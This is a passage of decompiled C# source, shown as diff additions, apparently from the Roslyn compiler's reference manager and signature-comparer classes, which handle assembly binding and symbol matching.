missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + SpecialType specialType = type.SpecialType; + if (specialType - 21 <= 1) + { + builder.Add(type.IsNativeIntegerWrapperType); + } + return false; + } + } + + internal class SpecialMembersSignatureComparer : SignatureComparer + { + public static readonly SpecialMembersSignatureComparer Instance = new SpecialMembersSignatureComparer(); + + protected SpecialMembersSignatureComparer() + { + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetMDArrayElementType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 1) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol arrayTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol)type; + if (arrayTypeSymbol.IsSZArray) + { + return null; + } + return arrayTypeSymbol.ElementType; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol GetFieldType(Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol field) + { + return field.Type; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol GetPropertyType(Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol property) + { + return property.Type; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetGenericTypeArgument(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int argumentIndex) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 11) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)type; + if (namedTypeSymbol.Arity <= argumentIndex) + { + return null; + } + if ((object)namedTypeSymbol.ContainingType != null) + { + return null; + } + return namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[argumentIndex].Type; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetGenericTypeDefinition(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 11) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)type; + if ((object)namedTypeSymbol.ContainingType != null) + { + return null; + } + if (namedTypeSymbol.Arity == 0) + { + return null; + } + return namedTypeSymbol.OriginalDefinition; + } + + protected override ImmutableArray GetParameters(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method) + { + return method.Parameters; + } + + protected override ImmutableArray GetParameters(Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol property) + { + return property.Parameters; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol GetParamType(Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol parameter) + { + return parameter.Type; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetPointedToType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 14) + { + return null; + } + return ((Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol)type).PointedAtType; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol GetReturnType(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method) + { + return method.ReturnType; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetSZArrayElementType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 1) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol arrayTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol)type; + if (!arrayTypeSymbol.IsSZArray) + { + return null; + } + return arrayTypeSymbol.ElementType; + } + + protected override bool IsByRefParam(Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol parameter) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)parameter.RefKind > 0; + } + + protected override bool IsByRefMethod(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)method.RefKind > 0; + } + + protected override bool IsByRefProperty(Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol property) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)property.RefKind > 0; + } + + protected override bool IsGenericMethodTypeParam(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int paramPosition) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 17) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol typeParameterSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol)type; + if ((int)typeParameterSymbol.ContainingSymbol.Kind != 9) + { + return false; + } + return typeParameterSymbol.Ordinal == paramPosition; + } + + protected override bool IsGenericTypeParam(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int paramPosition) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 17) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol typeParameterSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol)type; + if ((int)typeParameterSymbol.ContainingSymbol.Kind != 11) + { + return false; + } + return typeParameterSymbol.Ordinal == paramPosition; + } + + protected override bool MatchArrayRank(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int countOfDimensions) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.Kind != 1) + { + return false; + } + return ((Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol)type).Rank == countOfDimensions; + } + + protected override bool MatchTypeToTypeId(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int typeId) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)type.OriginalDefinition.SpecialType == typeId) + { + if (type.IsDefinition) + { + return true; + } + return type.Equals(type.OriginalDefinition, (TypeCompareKind)8); + } + return false; + } + } + + internal sealed class WellKnownMembersSignatureComparer : SpecialMembersSignatureComparer + { + private readonly CSharpCompilation _compilation; + + public WellKnownMembersSignatureComparer(CSharpCompilation compilation) + { + _compilation = compilation; + } + + protected override bool MatchTypeToTypeId(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int typeId) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + WellKnownType val = (WellKnownType)typeId; + if (WellKnownTypes.IsWellKnownType(val)) + { + return type.Equals(_compilation.GetWellKnownType(val), (TypeCompareKind)8); + } + return base.MatchTypeToTypeId(type, typeId); + } + } + + internal sealed class ReferenceManager : CommonReferenceManager + { + private abstract class AssemblyDataForMetadataOrCompilation : AssemblyData + { + private ImmutableArray _assemblies; + + private readonly AssemblyIdentity _identity; + + private readonly ImmutableArray _referencedAssemblies; + + private readonly bool _embedInteropTypes; + + public override AssemblyIdentity Identity => _identity; + + public override ImmutableArray AvailableSymbols + { + get + { + if (_assemblies.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddAvailableSymbols(instance); + _assemblies = instance.ToImmutableAndFree(); + } + return _assemblies; + } + } + + public override ImmutableArray AssemblyReferences => _referencedAssemblies; + + public sealed override bool IsLinked => _embedInteropTypes; + + protected AssemblyDataForMetadataOrCompilation(AssemblyIdentity identity, ImmutableArray referencedAssemblies, bool embedInteropTypes) + { + _embedInteropTypes = embedInteropTypes; + _identity = identity; + _referencedAssemblies = referencedAssemblies; + } + + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol CreateAssemblySymbol(); + + protected abstract void AddAvailableSymbols(ArrayBuilder builder); + + public override AssemblyReferenceBinding[] BindAssemblyReferences(MultiDictionary DefinitionData, int DefinitionIndex)> assemblies, AssemblyIdentityComparer assemblyIdentityComparer) + { + return CommonReferenceManager.ResolveReferencedAssemblies(_referencedAssemblies, assemblies, true, assemblyIdentityComparer); + } + } + + private sealed class AssemblyDataForFile : AssemblyDataForMetadataOrCompilation + { + public readonly PEAssembly Assembly; + + public readonly WeakList CachedSymbols; + + public readonly DocumentationProvider DocumentationProvider; + + private readonly MetadataImportOptions _compilationImportOptions; + + private readonly string _sourceAssemblySimpleName; + + private bool _internalsVisibleComputed; + + private bool _internalsPotentiallyVisibleToCompilation; + + internal bool InternalsMayBeVisibleToCompilation + { + get + { + if (!_internalsVisibleComputed) + { + _internalsPotentiallyVisibleToCompilation = CommonReferenceManager.InternalsMayBeVisibleToAssemblyBeingCompiled(_sourceAssemblySimpleName, Assembly); + _internalsVisibleComputed = true; + } + return _internalsPotentiallyVisibleToCompilation; + } + } + + internal MetadataImportOptions EffectiveImportOptions + { + get + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (InternalsMayBeVisibleToCompilation && (int)_compilationImportOptions == 0) + { + return (MetadataImportOptions)1; + } + return _compilationImportOptions; + } + } + + public override bool ContainsNoPiaLocalTypes => Assembly.ContainsNoPiaLocalTypes(); + + public override bool DeclaresTheObjectClass => Assembly.DeclaresTheObjectClass; + + public override Compilation? SourceCompilation => null; + + public AssemblyDataForFile(PEAssembly assembly, WeakList cachedSymbols, bool embedInteropTypes, DocumentationProvider documentationProvider, string sourceAssemblySimpleName, MetadataImportOptions compilationImportOptions) + : base(assembly.Identity, assembly.AssemblyReferences, embedInteropTypes) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + CachedSymbols = cachedSymbols; + Assembly = assembly; + DocumentationProvider = documentationProvider; + _compilationImportOptions = compilationImportOptions; + _sourceAssemblySimpleName = sourceAssemblySimpleName; + } + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol CreateAssemblySymbol() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return new PEAssemblySymbol(Assembly, DocumentationProvider, ((AssemblyData)(object)this).IsLinked, EffectiveImportOptions); + } + + protected override void AddAvailableSymbols(ArrayBuilder assemblies) + { + lock (CommonReferenceManager.SymbolCacheAndReferenceManagerStateGuard) + { + foreach (IAssemblySymbolInternal cachedSymbol in CachedSymbols) + { + PEAssemblySymbol pEAssemblySymbol = cachedSymbol as PEAssemblySymbol; + if (IsMatchingAssembly(pEAssemblySymbol)) + { + assemblies.Add((Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol)pEAssemblySymbol); + } + } + } + } + + public override bool IsMatchingAssembly(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? candidateAssembly) + { + return IsMatchingAssembly(candidateAssembly as PEAssemblySymbol); + } + + private bool IsMatchingAssembly(PEAssemblySymbol? peAssembly) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if ((object)peAssembly == null) + { + return false; + } + if (peAssembly.Assembly != Assembly) + { + return false; + } + if (EffectiveImportOptions != peAssembly.PrimaryModule.ImportOptions) + { + return false; + } + if (!((object)peAssembly.DocumentationProvider).Equals((object?)DocumentationProvider)) + { + return false; + } + return true; + } + } + + private sealed class AssemblyDataForCompilation : AssemblyDataForMetadataOrCompilation + { + public readonly CSharpCompilation Compilation; + + public override bool ContainsNoPiaLocalTypes => Compilation.MightContainNoPiaLocalTypes(); + + public override bool DeclaresTheObjectClass => Compilation.DeclaresTheObjectClass; + + public override Compilation SourceCompilation => (Compilation)(object)Compilation; + + public AssemblyDataForCompilation(CSharpCompilation compilation, bool embedInteropTypes) + : base(compilation.Assembly.Identity, GetReferencedAssemblies(compilation), embedInteropTypes) + { + Compilation = compilation; + } + + private static ImmutableArray GetReferencedAssemblies(CSharpCompilation compilation) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray modules = compilation.Assembly.Modules; + ImmutableArray referencedAssemblies = modules[0].GetReferencedAssemblies(); + ImmutableArray referencedAssemblySymbols = modules[0].GetReferencedAssemblySymbols(); + for (int i = 0; i < referencedAssemblies.Length; i++) + { + if (!referencedAssemblySymbols[i].IsLinked) + { + instance.Add(referencedAssemblies[i]); + } + } + for (int j = 1; j < modules.Length; j++) + { + instance.AddRange(modules[j].GetReferencedAssemblies()); + } + return instance.ToImmutableAndFree(); + } + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol CreateAssemblySymbol() + { + return new RetargetingAssemblySymbol(Compilation.SourceAssembly, ((AssemblyData)(object)this).IsLinked); + } + + protected override void AddAvailableSymbols(ArrayBuilder assemblies) + { + assemblies.Add(Compilation.Assembly); + lock (CommonReferenceManager.SymbolCacheAndReferenceManagerStateGuard) + { + ((Compilation)Compilation).AddRetargetingAssemblySymbolsNoLock(assemblies); + } + } + + public override bool IsMatchingAssembly(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? candidateAssembly) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = ((!(candidateAssembly is RetargetingAssemblySymbol retargetingAssemblySymbol)) ? (candidateAssembly as Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol) : retargetingAssemblySymbol.UnderlyingAssembly); + return (object)assemblySymbol == Compilation.Assembly; + } + } + + protected override CommonMessageProvider MessageProvider => (CommonMessageProvider)(object)Microsoft.CodeAnalysis.CSharp.MessageProvider.Instance; + + public ReferenceManager(string simpleAssemblyName, AssemblyIdentityComparer identityComparer, Dictionary? observedMetadata) + : base(simpleAssemblyName, identityComparer, observedMetadata) + { + } + + protected override AssemblyData CreateAssemblyDataForFile(PEAssembly assembly, WeakList cachedSymbols, DocumentationProvider documentationProvider, string sourceAssemblySimpleName, MetadataImportOptions importOptions, bool embedInteropTypes) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return (AssemblyData)(object)new AssemblyDataForFile(assembly, cachedSymbols, embedInteropTypes, documentationProvider, sourceAssemblySimpleName, importOptions); + } + + protected override AssemblyData CreateAssemblyDataForCompilation(CompilationReference compilationReference) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (!(compilationReference is CSharpCompilationReference cSharpCompilationReference)) + { + throw new NotSupportedException(string.Format(CSharpResources.CantReferenceCompilationOf, ((object)compilationReference).GetType(), "C#")); + } + CSharpCompilation compilation = cSharpCompilationReference.Compilation; + MetadataReferenceProperties properties = ((MetadataReference)cSharpCompilationReference).Properties; + return (AssemblyData)(object)new AssemblyDataForCompilation(compilation, ((MetadataReferenceProperties)(ref properties)).EmbedInteropTypes); + } + + protected override bool CheckPropertiesConsistency(MetadataReference primaryReference, MetadataReference duplicateReference, DiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + MetadataReferenceProperties properties = primaryReference.Properties; + bool embedInteropTypes = ((MetadataReferenceProperties)(ref properties)).EmbedInteropTypes; + properties = duplicateReference.Properties; + if (embedInteropTypes != ((MetadataReferenceProperties)(ref properties)).EmbedInteropTypes) + { + diagnostics.Add(ErrorCode.ERR_AssemblySpecifiedForLinkAndRef, NoLocation.Singleton, duplicateReference.Display, primaryReference.Display); + return false; + } + return true; + } + + protected override bool WeakIdentityPropertiesEquivalent(AssemblyIdentity identity1, AssemblyIdentity identity2) + { + return AssemblyIdentityComparer.CultureComparer.Equals(identity1.CultureName, identity2.CultureName); + } + + protected override void GetActualBoundReferencesUsedBy(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol, List referencedAssemblySymbols) + { + ImmutableArray.Enumerator enumerator = assemblySymbol.Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol current = enumerator.Current; + referencedAssemblySymbols.AddRange(current.GetReferencedAssemblySymbols()); + } + for (int i = 0; i < referencedAssemblySymbols.Count; i++) + { + if (referencedAssemblySymbols[i].IsMissing) + { + referencedAssemblySymbols[i] = null; + } + } + } + + protected override ImmutableArray GetNoPiaResolutionAssemblies(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol candidateAssembly) + { + if (candidateAssembly is Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol) + { + return ImmutableArray.Empty; + } + return candidateAssembly.GetNoPiaResolutionAssemblies(); + } + + protected override bool IsLinked(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol candidateAssembly) + { + return candidateAssembly.IsLinked; + } + + protected override Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? GetCorLibrary(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol candidateAssembly) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol corLibrary = candidateAssembly.CorLibrary; + if (!corLibrary.IsMissing) + { + return corLibrary; + } + return null; + } + + public void CreateSourceAssemblyForCompilation(CSharpCompilation compilation) + { + if (base.IsBound || !CreateAndSetSourceAssemblyFullBind(compilation)) + { + if (!base.HasCircularReference) + { + CreateAndSetSourceAssemblyReuseData(compilation); + } + else + { + new ReferenceManager(base.SimpleAssemblyName, base.IdentityComparer, base.ObservedMetadata).CreateAndSetSourceAssemblyFullBind(compilation); + } + } + } + + public PEAssemblySymbol CreatePEAssemblyForAssemblyMetadata(AssemblyMetadata metadata, MetadataImportOptions importOptions, out ImmutableDictionary assemblyReferenceIdentityMap) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + AssemblyIdentityMap val = new AssemblyIdentityMap(); + ImmutableArray.Enumerator enumerator = base.ReferencedAssemblies.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current = enumerator.Current; + val.Add(current.Identity, current); + } + PEAssembly assembly = metadata.GetAssembly(); + ImmutableArray immutableArray = ImmutableArrayExtensions.SelectAsArray, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol>(assembly.AssemblyReferences, (Func, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol>)MapAssemblyIdentityToResolvedSymbol, val); + assemblyReferenceIdentityMap = CommonReferenceManager.GetAssemblyReferenceIdentityBaselineMap(immutableArray, assembly.AssemblyReferences); + PEAssemblySymbol pEAssemblySymbol = new PEAssemblySymbol(assembly, DocumentationProvider.Default, isLinked: false, importOptions); + ImmutableArray> unifiedAssemblies = ImmutableArrayExtensions.WhereAsArray, AssemblyIdentityMap>(base.UnifiedAssemblies, (Func, AssemblyIdentityMap, bool>)((UnifiedAssembly unified, AssemblyIdentityMap referencedAssembliesByIdentity) => referencedAssembliesByIdentity.Contains(unified.OriginalReference, false)), val); + InitializeAssemblyReuseData(pEAssemblySymbol, immutableArray, unifiedAssemblies); + if (assembly.ContainsNoPiaLocalTypes()) + { + pEAssemblySymbol.SetNoPiaResolutionAssemblies(base.ReferencedAssemblies); + } + return pEAssemblySymbol; + } + + private static Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol MapAssemblyIdentityToResolvedSymbol(AssemblyIdentity identity, AssemblyIdentityMap map) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = default(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol); + if (map.TryGetValue(identity, ref assemblySymbol, (Func)CommonReferenceManager.CompareVersionPartsSpecifiedInSource)) + { + return assemblySymbol; + } + if (map.TryGetValue(identity, ref assemblySymbol, (Func)((Version v1, Version v2, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol s) => true))) + { + throw new NotSupportedException(string.Format(CodeAnalysisResources.ChangingVersionOfAssemblyReferenceIsNotAllowedDuringDebugging, identity, assemblySymbol.Identity.Version)); + } + return new MissingAssemblySymbol(identity); + } + + private void CreateAndSetSourceAssemblyReuseData(CSharpCompilation compilation) + { + string moduleName = ((Compilation)compilation).MakeSourceModuleName(); + Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssemblySymbol = new Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol(compilation, base.SimpleAssemblyName, moduleName, base.ReferencedModules); + InitializeAssemblyReuseData(sourceAssemblySymbol, base.ReferencedAssemblies, base.UnifiedAssemblies); + if ((object)compilation._lazyAssemblySymbol != null) + { + return; + } + lock (CommonReferenceManager.SymbolCacheAndReferenceManagerStateGuard) + { + if ((object)compilation._lazyAssemblySymbol == null) + { + compilation._lazyAssemblySymbol = sourceAssemblySymbol; + } + } + } + + private void InitializeAssemblyReuseData(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol, ImmutableArray referencedAssemblies, ImmutableArray> unifiedAssemblies) + { + assemblySymbol.SetCorLibrary(base.CorLibraryOpt ?? assemblySymbol); + ModuleReferences moduleReferences = new ModuleReferences(ImmutableArrayExtensions.SelectAsArray(referencedAssemblies, (Func)((Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol a) => a.Identity)), referencedAssemblies, unifiedAssemblies); + assemblySymbol.Modules[0].SetReferences(moduleReferences); + ImmutableArray modules = assemblySymbol.Modules; + ImmutableArray> referencedModulesReferences = base.ReferencedModulesReferences; + for (int num = 1; num < modules.Length; num++) + { + modules[num].SetReferences(referencedModulesReferences[num - 1]); + } + } + + private bool CreateAndSetSourceAssemblyFullBind(CSharpCompilation compilation) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected O, but got Unknown + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + DiagnosticBag instance = DiagnosticBag.GetInstance(); + PooledDictionary>> instance2 = PooledDictionary>>.GetInstance(); + bool referencesSupersedeLowerVersions = ((CompilationOptions)compilation.Options).ReferencesSupersedeLowerVersions; + try + { + ImmutableArray immutableArray2 = default(ImmutableArray); + IDictionary<(string, string), MetadataReference> dictionary = default(IDictionary<(string, string), MetadataReference>); + ImmutableArray immutableArray3 = default(ImmutableArray); + ImmutableArray> immutableArray4 = default(ImmutableArray>); + ImmutableArray immutableArray5 = default(ImmutableArray); + ImmutableArray> immutableArray = base.ResolveMetadataReferences(compilation, (Dictionary>>)(object)instance2, ref immutableArray2, ref dictionary, ref immutableArray3, ref immutableArray4, ref immutableArray5, instance); + AssemblyDataForAssemblyBeingBuilt item = new AssemblyDataForAssemblyBeingBuilt(new AssemblyIdentity(true, base.SimpleAssemblyName, (Version)null, (string)null, default(ImmutableArray), false, false, AssemblyContentType.Default), immutableArray4, immutableArray5); + ImmutableArray> immutableArray6 = immutableArray4.Insert(0, (AssemblyData)(object)item); + CSharpScriptCompilationInfo? scriptCompilationInfo = compilation.ScriptCompilationInfo; + object obj; + if (scriptCompilationInfo == null) + { + obj = null; + } + else + { + CSharpCompilation? previousScriptCompilation = scriptCompilationInfo.PreviousScriptCompilation; + obj = ((previousScriptCompilation != null) ? ((CommonReferenceManager)previousScriptCompilation.GetBoundReferenceManager()).ImplicitReferenceResolutions : null); + } + if (obj == null) + { + obj = ImmutableDictionary.Empty; + } + ImmutableDictionary immutableDictionary = (ImmutableDictionary)obj; + ImmutableArray> assemblies = default(ImmutableArray>); + ImmutableArray items = default(ImmutableArray); + ImmutableArray> items2 = default(ImmutableArray>); + bool flag = default(bool); + int num = default(int); + BoundInputAssembly[] array = base.Bind(immutableArray6, immutableArray5, immutableArray2, immutableArray, ((CompilationOptions)compilation.Options).MetadataReferenceResolver, ((CompilationOptions)compilation.Options).MetadataImportOptions, referencesSupersedeLowerVersions, (Dictionary>>)(object)instance2, ref assemblies, ref items, ref items2, ref immutableDictionary, instance, ref flag, ref num); + ImmutableArray immutableArray7 = immutableArray2.AddRange(items); + immutableArray = immutableArray.AddRange(items2); + Dictionary dictionary2 = default(Dictionary); + Dictionary dictionary3 = default(Dictionary); + ImmutableArray> immutableArray8 = default(ImmutableArray>); + Dictionary> dictionary4 = default(Dictionary>); + CommonReferenceManager.BuildReferencedAssembliesAndModulesMaps(array, immutableArray7, immutableArray, immutableArray5.Length, immutableArray4.Length, (IReadOnlyDictionary>>)instance2, referencesSupersedeLowerVersions, ref dictionary2, ref dictionary3, ref immutableArray8, ref dictionary4); + List list = new List(); + for (int i = 1; i < array.Length; i++) + { + ref BoundInputAssembly reference = ref array[i]; + if ((object)reference.AssemblySymbol == null) + { + reference.AssemblySymbol = ((AssemblyDataForMetadataOrCompilation)(object)assemblies[i]).CreateAssemblySymbol(); + list.Add(i); + } + } + Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssemblySymbol = new Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol(compilation, base.SimpleAssemblyName, ((Compilation)compilation).MakeSourceModuleName(), immutableArray5); + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = ((num == 0) ? sourceAssemblySymbol : ((num <= 0) ? MissingCorLibrarySymbol.Instance : array[num].AssemblySymbol)); + sourceAssemblySymbol.SetCorLibrary(assemblySymbol); + Dictionary missingAssemblies = null; + int totalReferencedAssemblyCount = assemblies.Length - 1; + SetupReferencesForSourceAssembly(sourceAssemblySymbol, immutableArray5, totalReferencedAssemblyCount, array, ref missingAssemblies, out ImmutableArray> moduleReferences); + if (list.Count > 0) + { + if (flag) + { + array[0].AssemblySymbol = sourceAssemblySymbol; + } + InitializeNewSymbols(list, sourceAssemblySymbol, assemblies, array, missingAssemblies); + } + if ((object)compilation._lazyAssemblySymbol == null) + { + lock (CommonReferenceManager.SymbolCacheAndReferenceManagerStateGuard) + { + if ((object)compilation._lazyAssemblySymbol == null) + { + if (base.IsBound) + { + return false; + } + UpdateSymbolCacheNoLock(list, assemblies, array); + base.InitializeNoLock(dictionary2, dictionary3, dictionary, immutableArray3, immutableArray2, immutableDictionary, flag, instance.ToReadOnly(), ((object)assemblySymbol == sourceAssemblySymbol) ? null : assemblySymbol, immutableArray5, moduleReferences, sourceAssemblySymbol.SourceModule.GetReferencedAssemblySymbols(), immutableArray8, sourceAssemblySymbol.SourceModule.GetUnifiedAssemblies(), dictionary4); + compilation._referenceManager = this; + compilation._lazyAssemblySymbol = sourceAssemblySymbol; + } + } + } + return true; + } + finally + { + instance.Free(); + instance2.Free(); + } + } + + private static void InitializeNewSymbols(List newSymbols, Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssembly, ImmutableArray> assemblies, BoundInputAssembly[] bindingResult, Dictionary? missingAssemblies) + { + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol corLibrary = sourceAssembly.CorLibrary; + foreach (int newSymbol in newSymbols) + { + if (assemblies[newSymbol] is AssemblyDataForCompilation) + { + SetupReferencesForRetargetingAssembly(bindingResult, ref bindingResult[newSymbol], ref missingAssemblies, sourceAssembly); + } + else + { + SetupReferencesForFileAssembly((AssemblyDataForFile)(object)assemblies[newSymbol], bindingResult, ref bindingResult[newSymbol], ref missingAssemblies, sourceAssembly); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray referencedAssemblySymbols = sourceAssembly.Modules[0].GetReferencedAssemblySymbols(); + foreach (int newSymbol2 in newSymbols) + { + ref BoundInputAssembly reference = ref bindingResult[newSymbol2]; + if (assemblies[newSymbol2].ContainsNoPiaLocalTypes) + { + reference.AssemblySymbol.SetNoPiaResolutionAssemblies(referencedAssemblySymbols); + } + instance.Clear(); + if (assemblies[newSymbol2].IsLinked) + { + instance.Add(reference.AssemblySymbol); + } + AssemblyReferenceBinding[] referenceBinding = reference.ReferenceBinding; + for (int i = 0; i < referenceBinding.Length; i++) + { + AssemblyReferenceBinding val = referenceBinding[i]; + if (val.IsBound && assemblies[val.DefinitionIndex].IsLinked) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = bindingResult[val.DefinitionIndex].AssemblySymbol; + instance.Add(assemblySymbol); + } + } + if (instance.Count > 0) + { + instance.RemoveDuplicates(); + reference.AssemblySymbol.SetLinkedReferencedAssemblies(instance.ToImmutable()); + } + reference.AssemblySymbol.SetCorLibrary(corLibrary); + } + instance.Free(); + if (missingAssemblies == null) + { + return; + } + 